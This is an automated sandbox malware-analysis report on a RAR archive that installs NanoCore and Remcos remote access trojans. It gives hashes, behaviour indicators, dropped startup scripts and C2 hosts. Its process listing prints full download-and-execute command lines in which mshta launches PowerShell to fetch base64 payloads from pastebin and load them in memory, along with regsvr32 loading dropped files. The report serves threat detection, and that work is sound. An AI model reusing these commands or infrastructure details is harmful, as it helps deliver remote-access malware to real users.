File name:

556ae53dbf0b25fd08605ce188dca29ddd22e8ec75ed14796abf74bbf528277a.rar

Full analysis: https://app.any.run/tasks/e75529ee-9652-486a-816c-f5aecee8e36d
Verdict: Malicious activity
Threats:

NanoCore is a Remote Access Trojan or RAT. This malware is highly customizable with plugins which allow attackers to tailor its functionality to their needs. Nanocore is created with the .NET framework and it’s available for purchase for just $25 from its “official” website.

Malware Trends Tracker     >>>
Analysis date: July 21, 2020, 01:12:28
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
rat
remcos
nanocore
Indicators:
MIME: application/x-rar
File info: RAR archive data, v5
MD5:

27A9A06F5C1023A134AE68BD0A399DD7

SHA1:

C85285633CE0776097A76D88CDBE4AE7F23E1590

SHA256:

556AE53DBF0B25FD08605CE188DCA29DDD22E8EC75ED14796ABF74BBF528277A

SSDEEP:

768:UmFhk3D679zmBnzdxNXAhS+ujgumpO3PSS89gXMPGBW+j7p6rIes5xEOE2we8rf/:HoO79qBz3igES6vSXBdj7sE6Jfh1

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Runs PING.EXE for delay simulation

      • cmd.exe (PID: 640)
      • cmd.exe (PID: 3428)
      • cmd.exe (PID: 2100)
      • cmd.exe (PID: 308)

    • Writes to a start menu file

      • WScript.exe (PID: 3840)
      • WScript.exe (PID: 2964)
      • WScript.exe (PID: 252)
      • WScript.exe (PID: 2336)
      • WScript.exe (PID: 3056)
      • WScript.exe (PID: 4064)

    • Changes the autorun value in the registry

      • WScript.exe (PID: 2964)
      • WScript.exe (PID: 2336)
      • WScript.exe (PID: 252)
      • WScript.exe (PID: 4064)
      • WScript.exe (PID: 3056)

    • Registers / Runs the DLL via REGSVR32.EXE

      • WScript.exe (PID: 252)
      • WScript.exe (PID: 2964)
      • WScript.exe (PID: 2336)
      • WScript.exe (PID: 3056)
      • WScript.exe (PID: 4064)

    • Loads dropped or rewritten executable

      • regsvr32.exe (PID: 2044)
      • WScript.exe (PID: 252)
      • regsvr32.exe (PID: 2076)
      • regsvr32.exe (PID: 2900)
      • WScript.exe (PID: 2964)
      • WScript.exe (PID: 2336)
      • WScript.exe (PID: 4064)
      • WScript.exe (PID: 3056)
      • regsvr32.exe (PID: 3636)
      • regsvr32.exe (PID: 2724)

    • Executes PowerShell scripts

      • mshta.exe (PID: 3932)
      • mshta.exe (PID: 3816)
      • mshta.exe (PID: 2384)
      • mshta.exe (PID: 3352)

    • REMCOS was detected

      • Calc.exe (PID: 3752)

    • NANOCORE was detected

      • RegAsm.exe (PID: 2540)

  • SUSPICIOUS

    • Creates files in the user directory

      • WScript.exe (PID: 3840)
      • powershell.exe (PID: 2640)
      • powershell.exe (PID: 3876)
      • WScript.exe (PID: 252)
      • powershell.exe (PID: 3096)
      • powershell.exe (PID: 2688)
      • WScript.exe (PID: 2964)
      • powershell.exe (PID: 2796)
      • WScript.exe (PID: 2336)
      • powershell.exe (PID: 1376)
      • powershell.exe (PID: 3092)
      • powershell.exe (PID: 3756)
      • WScript.exe (PID: 3056)
      • powershell.exe (PID: 2408)
      • WScript.exe (PID: 4064)
      • RegAsm.exe (PID: 2540)
      • Calc.exe (PID: 3752)

    • Executes scripts

      • powershell.exe (PID: 2640)
      • powershell.exe (PID: 3096)
      • powershell.exe (PID: 2688)
      • powershell.exe (PID: 3876)
      • powershell.exe (PID: 2796)

    • Starts CMD.EXE for commands execution

      • WScript.exe (PID: 3840)

    • Starts MSHTA.EXE for opening HTA or HTMLS files

      • cmd.exe (PID: 2100)
      • cmd.exe (PID: 3428)
      • cmd.exe (PID: 640)
      • cmd.exe (PID: 308)

    • Executable content was dropped or overwritten

      • WScript.exe (PID: 2964)
      • WScript.exe (PID: 252)
      • WScript.exe (PID: 2336)
      • WScript.exe (PID: 3056)
      • WScript.exe (PID: 4064)

    • Executes PowerShell scripts

      • WScript.exe (PID: 3840)

    • Uses NETSH.EXE for network configuration

      • MSBuild.exe (PID: 2516)

    • Reads Internet Cache Settings

      • mshta.exe (PID: 3816)

  • INFO

    • Manual execution by user

      • WScript.exe (PID: 3840)

    • Reads internet explorer settings

      • mshta.exe (PID: 3932)
      • mshta.exe (PID: 3816)
      • mshta.exe (PID: 3352)
      • mshta.exe (PID: 2384)

    • Reads settings of System Certificates

      • powershell.exe (PID: 3756)
      • powershell.exe (PID: 2408)
      • powershell.exe (PID: 1376)
      • powershell.exe (PID: 3092)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.rar | RAR compressed archive (v5.0) (61.5)
.rar | RAR compressed archive (gen) (38.4)
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
88
Monitored processes
39
Malicious processes
22
Suspicious processes
3

Behavior graph

Click at the process to see the details
start winrar.exe no specs wscript.exe cmd.exe no specs ping.exe no specs powershell.exe powershell.exe cmd.exe no specs cmd.exe no specs powershell.exe powershell.exe ping.exe no specs powershell.exe ping.exe no specs cmd.exe no specs ping.exe no specs wscript.exe wscript.exe wscript.exe wscript.exe wscript.exe mshta.exe no specs mshta.exe no specs mshta.exe no specs mshta.exe no specs regsvr32.exe no specs regsvr32.exe no specs msbuild.exe msbuild.exe regsvr32.exe no specs #REMCOS calc.exe powershell.exe powershell.exe powershell.exe powershell.exe netsh.exe no specs regsvr32.exe no specs regsvr32.exe no specs #NANOCORE regasm.exe msbuild.exe

Process information

PID
CMD
Path
Indicators
Parent process
252"C:\Windows\System32\WScript.exe" "C:\Users\admin\AppData\Local\Temp\ad.vbs" C:\Windows\System32\WScript.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft ® Windows Based Script Host
Exit code:
0
Version:
5.8.7600.16385
Modules
Images
c:\windows\system32\wscript.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
272"C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe
WScript.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
MSBuild.exe
Exit code:
0
Version:
2.0.50727.5420 built by: Win7SP1
Modules
Images
c:\windows\microsoft.net\framework\v2.0.50727\msbuild.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\mscoree.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\microsoft.net\framework\v4.0.30319\mscoreei.dll
308"C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 10 > nul & mshta.exe vbscript:CreateObject("Wscript.Shell").Run("powershell.exe -noexit -command [Reflection.Assembly]::Load([System.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('https://pastebin.com/raw/d46Ekc57').replace('$%f7f81a39-5f63-5b42-9efd-1f13b5431005#39;,'A'))).EntryPoint.Invoke($N,$N)",0,true)(window.close)C:\Windows\System32\cmd.exe—WScript.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
640"C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 10 > nul & mshta.exe vbscript:CreateObject("Wscript.Shell").Run("powershell.exe -noexit -command [Reflection.Assembly]::Load([System.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('https://pastebin.com/raw/iZiP2Vk7').replace('$','A'))).EntryPoint.Invoke($N,$N)",0,true)(window.close)C:\Windows\System32\cmd.exe—WScript.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
1376"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -command [Reflection.Assembly]::Load([System.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('https://pastebin.com/raw/iZiP2Vk7').replace('$','A'))).EntryPoint.Invoke($N,$N)C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
mshta.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
1464ping 127.0.0.1 -n 10 C:\Windows\system32\PING.EXE—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
TCP/IP Ping Command
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\ping.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\iphlpapi.dll
c:\windows\system32\nsi.dll
2044"C:\Windows\System32\regsvr32.exe" /I /S "C:\Users\admin\AppData\Local\Temp\sdsd.vbs.BIN"C:\Windows\System32\regsvr32.exe—WScript.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft(C) Register Server
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\regsvr32.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
2076"C:\Windows\System32\regsvr32.exe" /I /S "C:\Users\admin\AppData\Local\Temp\dgdgpoiopiopi.vbs.BIN"C:\Windows\System32\regsvr32.exe—WScript.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft(C) Register Server
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\regsvr32.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
2100"C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 10 > nul & mshta.exe vbscript:CreateObject("Wscript.Shell").Run("powershell.exe -noexit -command [Reflection.Assembly]::Load([System.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('https://pastebin.com/raw/H2JdYYVV').replace('#$','A'))).EntryPoint.Invoke($N,$N)",0,true)(window.close)C:\Windows\System32\cmd.exe—WScript.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
2128ping 127.0.0.1 -n 10 C:\Windows\system32\PING.EXE—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
TCP/IP Ping Command
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\ping.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\iphlpapi.dll
c:\windows\system32\nsi.dll
Total events
5 743
Read events
5 024
Write events
719
Delete events
0

Modification events

(PID) Process:(2244) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\Interface\Themes
Operation:writeName:ShellExtBMP
Value:
(PID) Process:(2244) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\Interface\Themes
Operation:writeName:ShellExtIcon
Value:
(PID) Process:(2244) WinRAR.exeKey:HKEY_CLASSES_ROOT\Local Settings\MuiCache\132\52C64B7E
Operation:writeName:LanguageList
Value:
en-US
(PID) Process:(2244) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\ArcHistory
Operation:writeName:0
Value:
C:\Users\admin\AppData\Local\Temp\556ae53dbf0b25fd08605ce188dca29ddd22e8ec75ed14796abf74bbf528277a.rar
(PID) Process:(2244) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths
Operation:writeName:name
Value:
120
(PID) Process:(2244) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths
Operation:writeName:size
Value:
80
(PID) Process:(2244) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths
Operation:writeName:type
Value:
120
(PID) Process:(2244) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths
Operation:writeName:mtime
Value:
100
(PID) Process:(2244) WinRAR.exeKey:HKEY_CLASSES_ROOT\Local Settings\MuiCache\132\52C64B7E
Operation:writeName:@C:\Windows\System32\wshext.dll,-4802
Value:
VBScript Script File
(PID) Process:(2244) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\DialogEditHistory\ExtrPath
Operation:writeName:0
Value:
C:\Users\admin\Desktop
Executable files
5
Suspicious files
17
Text files
6
Unknown types
15

Dropped files

PID
Process
Filename
Type
2796powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\0EBFS3HN6ZU77KXIATTL.temp —
MD5:—
SHA256:—
3096powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\9J08V4TLQ8XVR6MXF9ZB.temp —
MD5:—
SHA256:—
2640powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\T1WR9H82EBZ3YGZJU894.temp —
MD5:—
SHA256:—
2688powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\GRNJ1SE07BBWAVYI65KQ.temp —
MD5:—
SHA256:—
3876powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\TWL1K1BGQIOFOY9MC4PL.temp —
MD5:—
SHA256:—
3840WScript.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lksjdgksdgkhdsgkj.vbstext
MD5:—
SHA256:—
3840WScript.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\docWS.vbstext
MD5:—
SHA256:—
3840WScript.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\وثائق مسربة.vbstext
MD5:—
SHA256:—
2244WinRAR.exeC:\Users\admin\Desktop\وثائق مسربة.vbstext
MD5:—
SHA256:—
2640powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF115cb3.TMPbinary
MD5:—
SHA256:—
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
5
TCP/UDP connections
19
DNS requests
9
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
2796
powershell.exe
GET
200
62.240.36.45:80
http://libya2020.com.ly/google01.mp3
LY
txt
366 Kb
suspicious
3096
powershell.exe
GET
200
62.240.36.45:80
http://libya2020.com.ly/TR.mp3
LY
txt
881 Kb
suspicious
2688
powershell.exe
GET
200
62.240.36.45:80
http://libya2020.com.ly/pic.mp3
LY
txt
607 Kb
suspicious
2640
powershell.exe
GET
200
62.240.36.45:80
http://libya2020.com.ly/ad.mp3
LY
txt
142 Kb
suspicious
3876
powershell.exe
GET
200
62.240.36.45:80
http://libya2020.com.ly/google0rvi.mp3
LY
txt
418 Kb
suspicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
3096
powershell.exe
62.240.36.45:80
libya2020.com.ly
GPTC Autonomous System, Tripoli Libya
LY
suspicious
2796
powershell.exe
62.240.36.45:80
libya2020.com.ly
GPTC Autonomous System, Tripoli Libya
LY
suspicious
2640
powershell.exe
62.240.36.45:80
libya2020.com.ly
GPTC Autonomous System, Tripoli Libya
LY
suspicious
3092
powershell.exe
104.23.99.190:443
pastebin.com
Cloudflare Inc
US
malicious
—
—
41.253.125.221:1177
ad.libya2020.com.ly
GPTC Autonomous System, Tripoli Libya
LY
unknown
3756
powershell.exe
104.23.99.190:443
pastebin.com
Cloudflare Inc
US
malicious
2408
powershell.exe
46.243.216.62:1313
new.libya2020.com.ly
Core-Backbone GmbH
CH
unknown
2516
MSBuild.exe
46.243.216.62:1414
new.libya2020.com.ly
Core-Backbone GmbH
CH
unknown
—
—
8.8.8.8:53
—
Google Inc.
US
malicious
—
—
46.243.216.62:3535
new.libya2020.com.ly
Core-Backbone GmbH
CH
unknown

DNS requests

Domain
IP
Reputation
libya2020.com.ly
  • 62.240.36.45
suspicious
new.libya2020.com.ly
  • 46.243.216.62
unknown
pastebin.com
  • 104.23.99.190
  • 104.23.98.190
malicious
tr.libya2020.com.ly
  • 188.72.98.228
unknown
ad.libya2020.com.ly
  • 41.253.125.221
unknown
wa.libya2020.com.ly
  • 46.243.216.62
unknown

Threats

No threats detected
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
556ae53dbf0b25fd08605ce188dca29ddd22e8ec75ed14796abf74bbf528277a.rar